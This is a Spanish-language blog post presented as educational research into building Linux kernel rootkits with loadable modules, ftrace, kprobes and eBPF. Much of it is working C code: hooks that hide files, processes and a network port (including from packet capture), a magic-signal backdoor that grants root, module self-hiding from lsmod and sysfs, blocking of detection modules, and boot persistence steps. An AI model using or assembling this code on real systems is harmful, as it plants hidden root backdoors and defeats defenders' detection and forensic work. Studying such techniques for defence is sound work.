Linux Rootkits: Arquitectura Ofensiva del Corazón del Kernel

2026-05-10 — research

Créditos y referencias: Material basado en investigación original y trabajos públicos de xcellerator, MatheuZSecurity, humzak711, y la documentación oficial del kernel Linux (kernel.org).\ Advertencia: Contenido estrictamente educativo. El uso de estas técnicas fuera de entornos autorizados es ilegal.

0. Motivacion para realizar esta documentacion.

Es raro que yo publique algo referente a Linux. Al final, yo me especializo en AD, Windows y en evasiones, y en los últimos meses he estado aprendiendo más detalladamente sobre rootkits.

Y mientras estaba escribiendo el blog de Ataque de "DoS" a EDR mediante Corrupción Estructural del PEB, me entró la curiosidad por saber cómo era en Linux.

Y lo primero que haces normalmente es buscar en Google o en DuckDuckGo. ¿Y cuál fue mi sorpresa? Que apenas había información.

Tuve que recurrir a gente que conozco por foros o chats, y conseguí algo más de documentación. Pero aun así está muy desordenada y hay muy poca. Y no hay evidencia de existencia de ninguna en español.

Y ahí dije: "¿Y si aprendo aunque sea cómo funciona, lo explico y hago que esta información esté en español y sea más accesible?". Y pues lo hice.

Lo primero que hice fue leerme "The Linux Kernel Module", el mejor libro para entender cómo funcionan las librerías internas de Linux, cómo funcionan los drivers y cómo programarlos (de hecho, lo traduje al español usando traductores e IA (lo subi a mi github), y me lo imprimí).

Cuando ya me lo acabé de leer, estuve tonteando y estuve haciendo bastante investigación. Encontré bastantes cosas y me las estuve estudiando y haciéndome apuntes de cada cosa. Como ya he dicho, yo soy de Windows, no quería especializarme en esto, así que a lo mejor puedo cometer fallos, pero como cualquier persona.

También he usado de experimento esta investigación para probar mi RAG local de IA. Para los que me conozcáis de forma más cercana, el tema de la IA local me gusta y tengo varios modelos desde hace un año y medio aprox. Hace un par de meses conseguí que mi Obsidian estuviera sincronizado con mi Ollama y quería probar a ver cómo redactaba algunas cosas un modelo de 31B. Algunas cosas han sido redactadas por mi IA local (unos 4 subapartados), pero la he supervisado y he corregido lo que ha generado. Pero los resultados me han gustado mucho.

1. El modelo de anillos de privilegio

Para entender los rootkits en Linux de manera profunda, primero hay que entender el modelo sobre el que opera el sistema operativo: los anillos de privilegio (privilege rings), definidos por la arquitectura x86/x86-64.

La CPU implementa cuatro anillos de protección (Ring 0 a Ring 3), donde el número más bajo indica mayor privilegio. En la práctica, Linux sólo utiliza dos: Ring 0 (kernel space) y Ring 3 (user space). Esta separación existe para que un proceso de usuario no pueda acceder directamente a la memoria del kernel, manipular hardware ni comprometer la estabilidad del sistema. La única forma controlada de cruzar de Ring 3 a Ring 0 es a través de las system calls.

Un rootkit, en esencia, es un implante cuyo objetivo primordial es subvertir el comportamiento esperado del sistema para ocultarse, persistir y otorgar capacidades privilegiadas a su operador. Dependiendo del anillo en que resida, tendrá distintas capacidades y un distinto nivel de dificultad de detección.


2. Ring 3 — Rootkits en espacio de usuario

Los rootkits en Ring 3 operan completamente en el espacio de usuario. Se mencionan aquí brevemente para contextualizar la diferencia de fondo respecto a Ring 0, pero no son el foco de este documento.

La técnica más clásica es el abuso de LD_PRELOAD. Cuando un binario dinámicamente enlazado se ejecuta, el linker en tiempo de ejecución (ld.so) carga las librerías compartidas que necesita. LD_PRELOAD permite inyectar una librería .so antes que cualquier otra, incluyendo la propia libc. Esto posibilita interceptar y sobreescribir funciones estándar como readdir, fopen o getpwent, que son las que usan herramientas como ls o ps para obtener información del sistema. Para persistencia, la ruta de la librería maliciosa se escribe en /etc/ld.so.preload, haciendo que afecte a todos los procesos.

Sus limitaciones son estructurales e insalvables. El archivo /etc/ld.so.preload es completamente visible desde el kernel. Cualquier herramienta que realice llamadas directas al sistema, bypaseando la libc, no se ve afectada en absoluto. Y lo más importante: desde el kernel, el comportamiento real no cambia. Los procesos ocultos siguen existiendo en las estructuras internas del kernel porque el rootkit nunca llegó a tocarlas. Ring 3 es un juego de ilusiones ópticas. Ring 0 es control estructural real.

Para profundizar en rootkits de Ring 3: https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/


3. Ring 0

Un rootkit de Ring 0 vive en el kernel space. En Linux, esto se consigue mediante un LKM (Loadable Kernel Module): código que se carga en el kernel en tiempo de ejecución, sin necesidad de recompilarlo ni reiniciar el sistema. Cuando ese código es malicioso, el kernel no lo sabe. No puede saberlo. Una vez cargado, el módulo opera con los mismos privilegios que el kernel mismo.

La diferencia fundamental frente a Ring 3 es que aquí no existe ningún mecanismo de seguridad entre el rootkit y el hardware. El rootkit tiene acceso directo a toda la memoria física y virtual del sistema, las estructuras internas del kernel (task_struct, file, socket...), las tablas de system calls, los mecanismos de tracing, y los propios subsistemas de seguridad del OS (LSM, SELinux, AppArmor). La situación es absurda en el mejor sentido técnico: si el rootkit quisiera, podría deshabilitar SELinux editando su estructura en memoria. No necesita bypassearlo porque está en el mismo nivel que él.

Esto transforma al rootkit en un adversario de una naturaleza completamente distinta al de Ring 3. No es que engañe al kernel, es que se convierte en parte del kernel. Reescribe las reglas del árbitro siendo el árbitro.


4. Anatomía de un LKM

Un Loadable Kernel Module es código C compilado siguiendo las convenciones del kernel. Todo módulo expone obligatoriamente dos funciones: una de inicialización registrada con module_init(), que se ejecuta al cargarlo con insmod, y una de limpieza registrada con module_exit(), que se ejecuta al descargarlo con rmmod. El resultado de la compilación es un archivo .ko (Kernel Object).

El módulo declara metadatos mediante macros: licencia, autor y descripción. La licencia es especialmente relevante desde el punto de vista ofensivo. Declarar MODULE_LICENSE("GPL") es necesario para acceder a ciertos símbolos del kernel marcados como EXPORT_SYMBOL_GPL. Sin ella, funciones críticas para el hooking moderno sencillamente no están disponibles. El precio a pagar es que el kernel registra internamente su estado como "tainted" (contaminado), señal que queda en varios lugares del sistema y que un analista forense puede detectar. Es un trade-off que la mayoría de los rootkits modernos aceptan.

printk() es el equivalente en kernel space de printf(). Los mensajes van al ring buffer del kernel, accesible con dmesg. Un rootkit descuidado puede dejar rastros en este buffer, por lo que los más sofisticados evitan cualquier printk o los dirigen a canales controlados.

Otro aspecto crítico: la carga de un LKM requiere CAP_SYS_MODULE, que en la práctica significa root. La dificultad de un rootkit LKM no está en escalar privilegios una vez que está cargado, sino en conseguir cargarlo en primer lugar. Una vez dentro, el juego cambia completamente.


5. System calls: la interfaz que queremos doblar

Las system calls (syscalls) son el mecanismo que permite a los procesos en Ring 3 solicitar servicios al kernel. Son la única interfaz legítima entre ambos mundos. Cuando un proceso ejecuta algo tan cotidiano como open(), read() o write() desde la libc, internamente se traduce en una instrucción syscall que eleva el contexto a Ring 0 y ejecuta la función correspondiente del kernel.

Cada syscall tiene un número único en la syscall table. La tabla completa está en https://filippo.io/linux-syscall-table/. Desde el punto de vista ofensivo, las más interesantes son las que controlan la visibilidad y el comportamiento del sistema:

Syscall Relevancia ofensiva
getdents64 Enumeración de directorios — ocultación de archivos y procesos
openat Apertura de archivos — control sobre qué puede abrirse
kill Backdoor de señales para escalada de privilegios
setuid Interceptar cambios de UID para escalar
init_module / finit_module Carga de módulos — bloquear herramientas de análisis
read Interceptar lecturas — modificar contenido al vuelo
tcp4_seq_show Función interna de /proc/net/tcp — ocultar conexiones

El objetivo de un rootkit en Ring 0 es interceptar estas llamadas antes de que ejecuten su lógica original, modificar sus argumentos o resultados, y decidir si pasar la ejecución a la función original o retornar directamente algo falso. A esto se le llama syscall hooking o, de forma más general, function hooking.


6. Técnicas modernas de hooking

Históricamente, la técnica más usada era la modificación directa de la sys_call_table: se localizaba en memoria la tabla de punteros a funciones de syscall, se deshabilitaba la protección de escritura del registro CR0, y se sobreescribía el puntero con la dirección del hook. Esta técnica ya no funciona en kernels modernos por múltiples protecciones hardware y de compilación: SMEP, SMAP, y CONFIG_STRICT_KERNEL_RWX hacen que el intento de escribir en esas páginas de memoria cause un kernel panic. Las técnicas vigentes son ftrace, kprobes y eBPF.

6.1 ftrace

ftrace es la infraestructura de tracing interna del kernel Linux, diseñada originalmente para que los desarrolladores pudiesen instrumentar funciones. Cuando el kernel se compila con CONFIG_FTRACE=y (activo por defecto en casi todas las distribuciones), se insertan instrucciones NOP al inicio de cada función del kernel. Cuando ftrace está activo, esos NOP son reemplazados en tiempo de ejecución por saltos al mecanismo de callbacks de ftrace, que consulta una lista de callbacks registrados y los invoca.

Un rootkit registra su propia función callback para la función de kernel que desea hookear. La clave está en el flag FTRACE_OPS_FL_IPMODIFY: al habilitarlo, el rootkit puede modificar el registro ip (instruction pointer) dentro del callback, redirigiendo la ejecución hacia su propia función antes de que la original se ejecute. La función original queda accesible a través de un puntero guardado previamente, permitiéndole al rootkit decidir si llamarla o simplemente retornar algo falso.

Es la técnica más popular en rootkits modernos públicos (KoviD, Diamorphine, Basilisk) porque es limpia: no modifica ninguna tabla del kernel, trabaja con infraestructura oficial y es compatible con versiones modernas. La librería de referencia para implementarla es ftrace_helper.h de xcellerator (https://xcellerator.github.io/tags/rootkit/), que abstrae el registro y la gestión de hooks en unas pocas macros.

El patrón general siempre sigue la misma estructura: se declara un puntero a la función original, se define la función hook con la misma firma que la original, y se registra el par en un array de hooks que ftrace_helper.h gestiona. Así de sencillo es hookar cualquier función del kernel en un sistema moderno.

#include "ftrace_helper.h"

// 1. Puntero que guardará la dirección de la función original
static asmlinkage long (*orig_openat)(const struct pt_regs *regs);

// 2. Nuestra función de reemplazo, misma firma que la original
static asmlinkage long hook_openat(const struct pt_regs *regs)
{
    char nombre[256];
    // regs->si apunta al segundo argumento: la ruta del archivo
    if (copy_from_user(nombre, (char __user *)regs->si, sizeof(nombre)) == 0) {
        // Si el archivo contiene nuestro prefijo secreto, fingir que no existe
        if (strncmp(nombre, ".rk_", 4) == 0)
            return -ENOENT;
    }
    // Cualquier otro archivo: dejar pasar a la función real
    return orig_openat(regs);
}

// 3. Tabla de hooks: nombre del símbolo, función hook, puntero al original
static struct ftrace_hook hooks[] = {
    HOOK("__x64_sys_openat", hook_openat, &orig_openat),
};

static int __init rk_init(void) {
    return fh_install_hooks(hooks, ARRAY_SIZE(hooks));
}

static void __exit rk_exit(void) {
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
}

6.2 kprobes / kretprobes

kprobes es un mecanismo del kernel para instrumentación dinámica. A diferencia de ftrace, que actúa sobre funciones completas, kprobes permite insertar sondas en cualquier instrucción de cualquier función del kernel en tiempo de ejecución. Cuando se registra un kprobe en una dirección, el kernel reemplaza la instrucción en esa dirección por un breakpoint (int3 en x86). Cuando la CPU ejecuta ese breakpoint, el handler del kprobe se invoca, hace su trabajo, y la instrucción original se ejecuta como si nada hubiera pasado.

Los handlers disponibles son pre_handler, que se ejecuta justo antes de la instrucción hookeada, y post_handler, que se ejecuta después de que la función completa su trabajo pero antes de retornar al caller. Este segundo es especialmente interesante: permite dejar que la función original ejecute todo su trabajo y luego modificar el resultado antes de que llegue al proceso solicitante.

kretprobe es una variante especializada en interceptar el retorno de una función, lo que permite modificar el valor de retorno directamente. Un rootkit puede dejar que getdents64 ejecute normalmente y reciba la lista completa de archivos del kernel, y luego en el kretprobe filtrar las entradas que no quiere mostrar antes de devolvérsela al proceso. La función no sospecha nada porque ejecutó sin interferencias; la manipulación ocurre en el retorno.

La diferencia práctica entre ftrace y kprobes: ftrace es más eficiente (basado en trampolines en lugar de breakpoints) y es la elección natural para hookear syscalls completas. kprobes ofrece precisión quirúrgica cuando se necesita interceptar un punto específico dentro de una función más larga, o cuando se quiere instrumentar una función que ftrace no puede tocar por restricciones de recursividad.

#include <linux/kprobes.h>


// Cada vez que el kernel vaya a aplicar credenciales a un proceso,
// nuestro handler se ejecuta primero.

static int pre_commit_creds(struct kprobe *kp, struct pt_regs *regs)
{
    struct cred *entrante = (struct cred *)regs->di; // primer argumento
    // Si el proceso que invoca es el nuestro (identificado por PID mágico),
    // forzamos uid=0 antes de que commit_creds lo aplique
    if (current->pid == MAGIC_PID) {
        entrante->uid.val  = 0;
        entrante->euid.val = 0;
    }
    return 0;
}

static struct kprobe kp_commit = {
    .symbol_name = "commit_creds",
    .pre_handler = pre_commit_creds,
};

// --- Ejemplo con kretprobe: handler en el retorno de vfs_read ---
// Deja que vfs_read ejecute y modifica cuántos bytes dice haber leído.

static int ret_vfs_read(struct kretprobe_instance *ri, struct pt_regs *regs)
{
    long bytes_leidos = regs_return_value(regs);
    // Si la lectura fue exitosa y la hacía nuestro PID oculto,
    // mentir sobre la cantidad para confundir herramientas de auditoría
    if (bytes_leidos > 0 && current->pid == MAGIC_PID)
        regs_set_return_value(regs, 0);
    return 0;
}

static struct kretprobe krp_vfs_read = {
    .symbol_name = "vfs_read",
    .handler     = ret_vfs_read,
};

static int __init rk_init(void) {
    register_kprobe(&kp_commit);
    register_kretprobe(&krp_vfs_read);
    return 0;
}

6.3 eBPF como vector ofensivo

eBPF (extended Berkeley Packet Filter) es posiblemente la tecnología más disruptiva que ha llegado al kernel Linux en la última década. Su característica más importante desde el punto de vista ofensivo es que permite ejecutar código en Ring 0 sin cargar ningún módulo del kernel. Un programa eBPF se escribe en C restringido, se compila a bytecode, pasa por el verifier del kernel (que garantiza que no puede crashear el sistema ni acceder a memoria inválida), y se inyecta directamente en el kernel donde se compila JIT a instrucciones nativas x86-64.

Los puntos de enganche disponibles para eBPF incluyen kprobes/kretprobes gestionados por eBPF, tracepoints estáticos del kernel, hooks fentry/fexit (entrada y salida de funciones, desde kernel 5.5), hooks LSM para interceptar decisiones del framework de seguridad, y XDP/tc para manipulación de paquetes de red a bajísimo nivel.

Ofensivamente, eBPF es especialmente peligroso por varias razones. Al no ser un LKM, no aparece en lsmod ni genera entradas en available_filter_functions. Su presencia no es inherentemente sospechosa porque herramientas legítimas de seguridad y observabilidad también lo usan. Los programas eBPF pueden ser "pinneados" en /sys/fs/bpf/, sobreviviendo al proceso que los cargó. Y mediante XDP o tc, puede filtrar o modificar tráfico de red de forma totalmente transparente al sistema operativo, sin que tcpdump ni Wireshark vean nada.

Proyectos que documentan eBPF ofensivo públicamente incluyen evilBPF de rphang (https://github.com/rphang/evilBPF) y las investigaciones de bpfhacks de hackerschoice (https://github.com/hackerschoice/bpfhacks).

// Programa eBPF usando fentry (kernel 5.5+): se engancha en la entrada
// de __x64_sys_kill sin necesitar ningún LKM.
// Compilar con: clang -O2 -target bpf -c rk_kill.c -o rk_kill.o

#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>

char LICENSE[] SEC("license") = "GPL";

// Map para compartir datos entre el programa eBPF y el espacio de usuario
struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 1 << 12);
} eventos SEC(".maps");

// fentry: se ejecuta en la entrada de __x64_sys_kill
// Registra cualquier uso de la señal 59, nuestra señal mágica de privesc
SEC("fentry/__x64_sys_kill")
int vigilar_kill(struct pt_regs *regs)
{
    int signal = (int)PT_REGS_PARM2_CORE(regs);
    pid_t pid  = (pid_t)PT_REGS_PARM1_CORE(regs);

    if (signal == 59) {
        // Enviar el evento al ring buffer para que lo lea el daemon en user space
        struct { pid_t pid; int sig; } *evento;
        evento = bpf_ringbuf_reserve(&eventos, sizeof(*evento), 0);
        if (evento) {
            evento->pid = pid;
            evento->sig = signal;
            bpf_ringbuf_submit(evento, 0);
        }
    }
    return 0;
}

7. Capacidades ofensivas principales

Una vez que el rootkit tiene un mecanismo de hooking operativo, las capacidades que puede implementar son amplias. Las más relevantes se describen a continuación.

7.1 Escalada de privilegios

Esta es la capacidad más valorada. El objetivo es que un proceso en Ring 3 sin privilegios pueda, mediante una acción específica conocida sólo por el atacante, obtener uid=0 (root) de forma instantánea y sin dejar rastro en los logs de autenticación.

El mecanismo se apoya en dos funciones internas del kernel: prepare_creds(), que crea una copia editable de las credenciales del proceso actual, y commit_creds(), que aplica el nuevo conjunto de credenciales al proceso. Ambas son accesibles desde Ring 0. La estructura cred contiene todos los identificadores de usuario y grupo (uid, gid, euid, egid, suid, sgid, fsuid, fsgid) y el conjunto de capabilities del proceso. Un rootkit puede crear unas credenciales con todos esos campos a cero y aplicarlas a cualquier proceso que lo solicite.

El patrón más elegante para activar esto es hookear sys_kill. Esta syscall acepta un PID y un número de señal. Al hookearla, el rootkit define una señal "mágica" como trigger secreto. Cuando cualquier proceso envía esa señal, el hook escala los privilegios del proceso llamante a root y retorna sin ejecutar el kill real. Desde el punto de vista del sistema, fue una señal normal que no tuvo ningún efecto. Desde el punto de vista del atacante, tiene una shell root.

static asmlinkage long hook_kill(const struct pt_regs *regs) {
    int signal = regs->si; // segundo argumento: número de señal

    if (signal == 59) { // señal mágica
        struct cred *nuevas = prepare_creds();
        if (nuevas) {
            nuevas->uid.val   = nuevas->euid.val  = 0;
            nuevas->gid.val   = nuevas->egid.val  = 0;
            nuevas->suid.val  = nuevas->fsuid.val = 0;
            nuevas->sgid.val  = nuevas->fsgid.val = 0;
            // Otorgar capabilities completas
            nuevas->cap_effective   = CAP_FULL_SET;
            nuevas->cap_permitted   = CAP_FULL_SET;
            nuevas->cap_inheritable = CAP_FULL_SET;
            commit_creds(nuevas);
        }
        return 0;
    }
    return orig_kill(regs); // comportamiento normal para el resto
}

Desde user space, la activación es kill -59 0. En ese instante el proceso tiene uid=0 y capabilities completas. No hay PAM, no hay sudo, no hay log de autenticación. El kernel concedió root desde adentro.

7.2 Ocultación de procesos

Cada proceso en Linux está representado por una estructura task_struct enlazada en una lista circular doblemente enlazada que mantiene el kernel. El filesystem /proc expone esta lista a user space: cada entrada numérica en /proc corresponde al PID de un proceso activo. Herramientas como ps, top, htop y kill dependen de este directorio para saber qué procesos existen.

Para ocultar procesos hay dos estrategias principales. La primera es hookear filldir64, la función que "rellena" las entradas del directorio mientras se itera sobre él. Cada vez que esa función prepara una entrada para /proc, el hook comprueba si el nombre corresponde a un PID marcado como oculto. En ese caso simplemente no añade la entrada al resultado. Para cualquier proceso del sistema que llame a opendir("/proc") y empiece a iterar, ese PID nunca existió.

La segunda estrategia, más agresiva y usada en rootkits como KoviD y Diamorphine, es desconectar directamente el task_struct del proceso de la lista de tareas del kernel con list_del_init(&tarea->tasks). El proceso sigue ejecutándose porque el scheduler sabe de él a través de otras estructuras internas, pero no aparece en ninguna enumeración. Esta técnica tiene una característica interesante: es más difícil de revertir para un analista que no sabe exactamente qué buscar, porque el proceso no está en ninguna lista estándar.

// PID a ocultar: en un rootkit real vendría de una señal o un canal de control
#define PID_OCULTO 1337

static asmlinkage long hook_filldir64(struct dir_context *ctx,
                                      const char *nombre, int longitud,
                                      loff_t offset, u64 ino,
                                      unsigned int tipo)
{
    // Convertir el nombre de la entrada a número para comparar con el PID
    // (las entradas de /proc son directorios con nombre igual al PID)
    char pid_str[16];
    snprintf(pid_str, sizeof(pid_str), "%d", PID_OCULTO);

    if (strncmp(nombre, pid_str, longitud) == 0)
        return 0; // suprimir esta entrada: el PID desaparece de /proc

    return orig_filldir64(ctx, nombre, longitud, offset, ino, tipo);
}

// Desconexión directa del task_struct — técnica más agresiva
static void ocultar_proceso(pid_t pid_objetivo)
{
    struct task_struct *tarea;

    // Iterar la lista de tareas del kernel buscando el PID
    for_each_process(tarea) {
        if (tarea->pid == pid_objetivo) {
            // Desconectar de la lista circular de procesos
            list_del_init(&tarea->tasks);
            break;
        }
    }
}

7.3 Ocultación de archivos y directorios

El mecanismo es análogo al de procesos pero actúa en el VFS (Virtual File System) general. La syscall getdents64 es la que usan ls, find, opendir() y cualquier programa que enumere el contenido de un directorio. Un hook de esta función recibe el buffer completo de entradas que el kernel preparó, lo copia a memoria de kernel para poder manipularlo, filtra las entradas correspondientes a archivos o directorios a ocultar ajustando los tamaños de registro en la estructura linux_dirent64, y devuelve el resultado filtrado al proceso.

La manipulación de la estructura linux_dirent64 merece una explicación: cada entrada en el buffer tiene un campo d_reclen que indica cuántos bytes ocupa esa entrada y, por tanto, dónde empieza la siguiente. Para eliminar una entrada del listado basta con sumar su d_reclen al de la entrada anterior: el proceso iterará de la entrada anterior directamente a la siguiente, saltando la oculta por completo, sin saber que hay un hueco en el buffer.

Una técnica habitual es definir un prefijo de ocultación configurable: cualquier archivo cuyo nombre empiece por una cadena específica elegida por el rootkit es automáticamente invisible en cualquier directorio del sistema. Archivos de configuración del rootkit, logs de actividad, el propio .ko si está en disco, todo puede desaparecer con un único hook.

#define PREFIJO_OCULTO ".rk_"

static asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
    // Ejecutar la syscall original y obtener el buffer real del kernel
    long total = orig_getdents64(regs);
    if (total <= 0) return total;

    struct linux_dirent64 __user *u_buf = (void *)regs->di;
    struct linux_dirent64 *k_buf = kzalloc(total, GFP_KERNEL);
    if (!k_buf) return total;

    if (copy_from_user(k_buf, u_buf, total)) {
        kfree(k_buf);
        return total;
    }

    struct linux_dirent64 *entrada  = k_buf;
    struct linux_dirent64 *anterior = NULL;
    long procesado = 0;

    while (procesado < total) {
        if (strncmp(entrada->d_name, PREFIJO_OCULTO, strlen(PREFIJO_OCULTO)) == 0) {
            // Absorber esta entrada: el anterior "salta" directamente a la siguiente
            if (anterior)
                anterior->d_reclen += entrada->d_reclen;
            else {
                // Es la primera entrada del buffer: desplazar todo hacia adelante
                total -= entrada->d_reclen;
                memmove(entrada, (void *)entrada + entrada->d_reclen,
                        total - procesado);
                continue; // no avanzar: ahora 'entrada' apunta a la siguiente
            }
        } else {
            anterior = entrada;
        }
        procesado += entrada->d_reclen;
        entrada = (void *)k_buf + procesado;
    }

    copy_to_user(u_buf, k_buf, total);
    kfree(k_buf);
    return total;
}

7.4 Ocultación de conexiones de red

Para ocultar conexiones de red, el target no son las syscalls directamente sino las funciones internas que leen y exponen el estado de los sockets en /proc/net/. Cuando netstat, ss o lsof solicitan información de red, leen pseudo-archivos como /proc/net/tcp, /proc/net/tcp6, /proc/net/udp. Estos archivos son generados en tiempo real por funciones del kernel como tcp4_seq_show, tcp6_seq_show, udp4_seq_show y udp6_seq_show, que reciben cada socket como argumento y lo escriben en el buffer de salida.

Hookear estas funciones permite interceptar cada entrada antes de que sea escrita. El hook recibe la estructura sock del socket actual, comprueba si su puerto (sk->sk_num) o dirección IP es uno de los que debe ocultar, y en ese caso retorna 0 sin escribir nada. Para todos los demás, llama a la función original. El resultado es que las herramientas de listado de conexiones nunca verán los sockets marcados como ocultos, aunque el servicio esté completamente activo y aceptando conexiones.

Un rootkit sofisticado va un paso más allá y también hookea packet_rcv y tpacket_rcv, que son las funciones de recepción de paquetes que usa la capa de raw sockets. Al filtrar ahí, herramientas de captura de tráfico como tcpdump o Wireshark tampoco pueden ver el tráfico relacionado con las conexiones ocultas. La combinación de ambos hooks hace el canal de comunicación del rootkit completamente invisible tanto a nivel de estado de socket como a nivel de tráfico de red.

#define PUERTO_OCULTO 4444

static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    // v == (void*)0x1 es el marcador de cabecera de la tabla, no un socket real
    if (v != (void *)0x1) {
        struct sock *sk = (struct sock *)v;
        // sk_num es el puerto local en orden de host
        if (sk->sk_num == PUERTO_OCULTO)
            return 0; // no escribir esta línea en /proc/net/tcp
    }
    return orig_tcp4_seq_show(seq, v);
}

// Hook adicional: ocultar el tráfico a nivel de captura de paquetes
static int hook_packet_rcv(struct sk_buff *skb, struct net_device *dev,
                            struct packet_type *pt, struct net_device *orig_dev)
{
    // Si el paquete va o viene del puerto oculto, descartarlo silenciosamente
    // antes de que llegue al socket raw que usa tcpdump
    struct iphdr *iph = ip_hdr(skb);
    if (iph && iph->protocol == IPPROTO_TCP) {
        struct tcphdr *tcph = tcp_hdr(skb);
        if (ntohs(tcph->dest) == PUERTO_OCULTO ||
            ntohs(tcph->source) == PUERTO_OCULTO)
            return 0; // descartar: tcpdump no ve nada
    }
    return orig_packet_rcv(skb, dev, pt, orig_dev);
}

8. Persistencia y auto-protección

Persistencia entre reinicios

Cargar un módulo con insmod no sobrevive a un reinicio. Para persistencia, el mecanismo más limpio aprovecha /etc/modules-load.d/, procesado por systemd-modules-load.service durante el boot, antes incluso de que la mayoría de los servicios de usuario estén activos. El flujo consiste en copiar el .ko al directorio de módulos del kernel en uso (/usr/lib/modules/$(uname -r)/kernel/), actualizar la base de datos de módulos con depmod para que el kernel pueda resolver dependencias, y crear un archivo de configuración con el nombre del módulo en /etc/modules-load.d/. Desde ese momento, el sistema carga el rootkit en cada arranque de forma automática.

Los archivos involucrados (el .ko y el .conf) deben, por supuesto, estar ocultos mediante el hook de getdents64 del propio rootkit. Desde cualquier directorio que los contenga, serán invisibles.

Ocultarse de lsmod y sysfs

El kernel mantiene una lista enlazada de módulos cargados, accesible a user space a través de lsmod. Eliminar el módulo de esa lista con list_del(&THIS_MODULE->list) hace que desaparezca del listado. Adicionalmente, es necesario eliminarlo del árbol kobject de sysfs con kobject_del(&THIS_MODULE->mkobj.kobj) para que tampoco aparezca en /sys/module/. Ambas operaciones juntas hacen que el módulo sea completamente invisible a las herramientas de enumeración de módulos estándar.

Bloquear la carga de otros módulos

Una vez que el rootkit está operativo, necesita protegerse de que herramientas de análisis o detección puedan ser cargadas. Las syscalls de carga de módulos son sys_init_module (carga desde buffer en memoria) y sys_finit_module (carga desde file descriptor, usada por insmod moderno). Hookear ambas y hacer que devuelvan 0 sin ejecutar ninguna lógica real bloquea completamente la carga de cualquier módulo adicional. insmod herramienta_de_deteccion.ko devolverá éxito, pero el módulo nunca se cargará ni ejecutará su module_init. Desde el punto de vista del usuario, parece que funcionó.

Ocultación de funciones en el sistema de tracing

Las funciones del rootkit que no son estáticas aparecen en /sys/kernel/tracing/available_filter_functions y en /proc/kallsyms, lo que puede delatar la presencia del módulo incluso cuando está oculto de lsmod. Hay dos mecanismos complementarios para evitarlo.

El primero es declarar las funciones como static: en C, el modificador static restringe el ámbito de visibilidad al fichero de compilación actual, lo que hace que el kernel no las exporte como símbolos y no las registre como trazables. El segundo es el atributo notrace (__attribute__((no_instrument_function))), que instruye al compilador a no insertar las llamadas de instrumentación de ftrace en esa función específica, haciéndola opaca al sistema de tracing incluso si fuese pública. La combinación de static notrace en las funciones críticas del rootkit las hace invisibles al sistema de tracing y no hookeables por terceros.

// Esta función es invisible para ftrace, available_filter_functions y kallsyms
static notrace void nucleo_del_rootkit(void) {
    // toda la lógica sensible aquí
}

// Esta función sí aparece en available_filter_functions
// (es el punto de entrada visible y "legítimo" del módulo)
static int __init modulo_init(void) {
    nucleo_del_rootkit();
    list_del(&THIS_MODULE->list);
    return 0;
}

9. Recursos y lecturas recomendadas

MI RECOMENDACION PERSONAL Y LO QUE YO E USADO PARA REDACTAR CASI EL 100% DE ESTE BLOG:

Investigadores y blogs:

Rootkits de referencia (código abierto, educativos):

Documentación oficial del kernel:

Lecturas complementarias:


Documento redactado con fines educativos y de investigación en seguridad ofensiva.

← back to blog